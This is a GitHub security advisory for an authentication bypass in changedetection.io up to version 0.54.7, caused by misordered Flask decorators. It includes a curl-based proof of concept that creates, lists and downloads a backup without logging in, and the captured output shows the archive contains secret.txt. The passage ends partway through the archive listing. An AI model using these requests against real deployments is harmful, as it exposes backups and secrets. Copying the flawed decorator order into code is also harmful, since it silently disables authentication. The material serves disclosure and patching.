GitHub Security Advisory: GHSA-jmrh-xmgh-x9j4
Package: changedetection.io (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 0.54.7
Patched in: 0.54.8

Summary: changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Details:
### Summary

On 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

### Details

**Correct order (used on 30+ routes):**
```python
@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...
```

**Incorrect order (13 vulnerable routes):**
```python
@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...
```

## POC
```
=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup[PII_REDACTED]5425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup[PII_REDACTED]5425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/177491